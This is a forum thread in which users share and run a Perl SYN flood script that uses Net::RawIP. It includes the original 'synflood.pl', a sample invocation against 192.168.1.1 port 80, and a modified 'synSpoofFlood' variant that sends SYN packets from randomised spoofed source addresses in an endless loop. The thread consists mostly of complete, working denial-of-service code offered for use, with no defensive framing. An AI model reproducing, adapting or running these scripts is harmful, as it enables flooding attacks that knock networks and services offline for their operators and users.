dont judge me but i think its
if($#ARGV == 2)
I am not that good at reading scripts, but i need some help finding out which variable i have to change with the source_ip destination_ip destination_port
Thank You
Code:#!/usr/bin/perl # synflood.pl - Simple SYN Flooder # Author: iphelix # # Requires perl, Net::RawIP module, and root privileges use Net::RawIP; if($#ARGV == 2) { ($src,$dst,$port) = @ARGV; $a = new Net::RawIP; while(1) { $src_port = rand(65534)+1; $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}}); $a->send; } } else { print "./synflooder source_ip destination_ip destination_port\n"; }
That's wrong.
Just read what it says in the last line before the }
It is explained pretty well, where the values for the variables come from.
Tiocfaidh ár lá
Works fine
r00t@infected ~ $ sudo perl synflood.pl 192.168.1.193 192.168.1.1 80
I modified the original script, the result was:
#!/usr/bin/perl
# synSpoofFlood
# Author: Lucas Allan
#
# Based on Simple SYN Flooder by iphelix
# Requires perl, Net::RawIP module, and root privileges
#
# lucasallan.com
#
use Net::RawIP;
sub geraIP(){
$range = 255;
$iA = int(rand($range));
$iB = int(rand($range));
$iC = int(rand($range));
$iD = int(rand($range));
return $iA . “.” . $iB . “.” . $iC . “.” . $iD;
}
sub attack(){
($dst,$port) = @ARGV;
$a = new Net::RawIP;
while(1) {
$src_port = rand(65534)+1;
$src = geraIP();
$a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
$a->send;
}
}
if($#ARGV == 1) {
attack();
} else {
print “Target Port\n”;
}